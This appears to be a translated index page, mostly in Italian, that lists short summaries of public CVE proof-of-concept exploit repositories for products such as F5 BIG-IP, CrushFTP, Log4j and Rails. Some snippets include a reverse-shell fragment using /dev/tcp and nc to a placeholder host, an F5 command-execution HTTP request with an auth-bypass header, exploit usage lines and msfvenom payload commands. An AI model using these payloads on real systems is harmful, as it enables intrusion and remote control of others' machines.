CVE-2020-11890

Realizzato da HK CVE-2020-11890: Validazioni di input improprie nella classe della tabella del gruppo utenti potrebbero portare a una configurazione ACL danneggiata fino a RCE Collegamento...

CVE-2021-26700

NPM VSCode एक्सटेंशन में RCE 10 फरवरी 2021 को इसमें फिक्स किया गया: https://github.com/microsoft/vscode-npm-scripts/commit/cdd5e507564e0cc0f60bcccf184822be3fd73e07 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26700 सारांश eg2.vscode-npm-script संस्करण 0.3.13 पर परीक्षण किया गया...

CVE-2018-18852

CERIO router RCE autenticato credenziali backdoor del fornitore CVE-2018-18852 PoC Python hook-s3c github.com/hook-s3c, @hooks3c su Twitter PoC Python funzionante per CVE-2018-18852, originariamente apparso su; https://github.com/hook-s3c/CVE-2018-18852 Che succede I modelli e le varianti dei...

CVE-2026-33454

Riproduttore della vulnerabilità di iniezione negli header di camel-mail → RCE CVE-2026-33454 Questo progetto dimostra una vulnerabilità di iniezione negli header dei messaggi Camel nel componente camel-mail di Apache Camel, registrata come CVE-2026-33454. Un attaccante in grado di consegnare...

SpringCloudGatewayRCE

Vulnerabilità di esecuzione remota di comandi in SpringCloudGateway Code By:Tas9er 0x00 Panoramica dei rischi Questo strumento è destinato esclusivamente a test di sicurezza autorizzati. È vietato attaccare siti web senza autorizzazione. 0x01 Utilizzo dello strumento java -jar...

CVE-2024-4040

CVE-2024-4040 Una vulnerabilità di server side template injection in CrushFTP in tutte le versioni precedenti alla 10.7.1 e 11.1.0 su tutte le piattaforme consente ad attaccanti remoti non autenticati di leggere file dal filesystem al di fuori della VFS Sandbox, bypassare l'autenticazione per...

ezviz_lan_rce

ezvizlanrce Questo repository contiene le slide e i video PoC del talk SADProtocol goes to Hollywood presentato al DEF CON 31 Hardware Hacking Village. Puoi anche trovare l'immagine docker per compilare i binari che girano sulla telecamera e gli exploit proof of concept per CVE-2023-34551 e...

CVE-2023-28771-PoC

CVE-2023-28771-PoC PoC per CVE-2023-28771 basato sull'ottimo writeup di Rapid7 Richiede la libreria Python scapy per inviare pacchetti IKE. root@kitploit: usage: CVE-2023-28771-poc.py -h --cmd CMD --lhost LHOST --lport LPORT rhost positional arguments: rhost options: -h, --help show this help...

CVE-2020-8165

CVE-2020-8165 Exploit Python Questo è un codice per sfruttare CVE-2020-8165 usando Python3. Questo exploit funziona con Rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Crediti Principali Dettagli originali del CVE:...

CVE-2022-23940

CVE-2022-23940 PoC per CVE-2022-23940 aka SCRMBT-187 - Esecuzione di codice remota autenticata tramite Rapporti Pianificati in SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940...

CVE-2021-44077

CVE-2021-44077 Proof of Concept Exploit per CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus msiexec.exe Esegui pip install del file requirements oppure assicurati di avere il pacchetto requests. Se stai cercando di ricevere una reverse shell, avvia prima il listener, ad esempio:...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOIT POC F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...

CVE-2017-1000117

CVE-2017-1000117 utilizzo root@kitploit: $ git clone --recursive https://github.com/ieee0824/CVE-2017-1000117.git quando git ha un problema, ifconfig viene eseguito...

log4shell-poc

CVE-2021-44228 Log4Shell POC Panoramica Proof of Concept per l'esecuzione remota di codice tramite la vulnerabilità di iniezione JNDI in Apache Log4j 2.14.1. Web Hacking Course - Assegnazione Settimana 11. Ambiente...

CVE-2013-2729

Adobe Reader BMP/RLE heap corruption - CVE-2013-2729 Adobe Reader X è un potente software sviluppato da Adobe Systems per visualizzare, creare, manipolare, stampare e gestire file in formato PDF Portable Document Format. Dalla versione 10 include la Modalità protetta, una tecnologia sandbox simil...

CVE-2021-21220

Prima installa: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Versione Chrome: 90.0.4403.0 Installa chrome-win.zip 1. node server.js esegui ./chrome.exe --no-sandbox vai su localhost:8888 Nota che la CVE sfruttata da questo exploit è CVE...

CVE-2020-15227

CVE-2020-15227 DICHIARAZIONE DI NON RESPONSABILITÀ! Non mi assumo alcuna responsabilità per l'uso in ambienti reali, quindi per favore NON fatelo. Questo aggeggio serve solo a scopo dimostrativo e per testare cose per gli amministratori di sistema. Ho creato questo exploit in seguito alla...

CVE-2025-55182-React-RSC-Exploit

CVE-2025-55182 // REACT SERVER COMPONENTS RCE PANORAMICA Exploit PoC per CVE-2025-55182. Prende di mira versioni non sicure e vulnerabilità nelle funzioni di validazione dell'input in React Server Components. MECCANISMO TECNICO Vettore : Prototype pollution tramite $1:proto :then durante...

CVE-2021-44827

CVE-2021-44827 Un PoC per CVE-2021-44827 - esecuzione remota di codice autenticata su Tp-link Archer C20i Write-up: https://full-disclosure.eu/reports/2022/CVE-2021-44827-tplink-authenticated-remote-code-execution.html Esempio root@kitploit: $ python exploit.py error0 error0 Run postexploitcmd...

CVE-2018-15982_EXP_IE

CVE-2018-15982EXP Utilizzo root@kitploit: msfvenom -p windows/exec cmd=calc.exe -f raw 86.bin msfvenom -p windows/x64/exec cmd=calc.exe -f raw 64.bin python CVE201815982.py -i 86.bin -I 64.bin Genera exp.swf e index.html. Demo https://twitter.com/Evi1cg/status/1071284773169950721...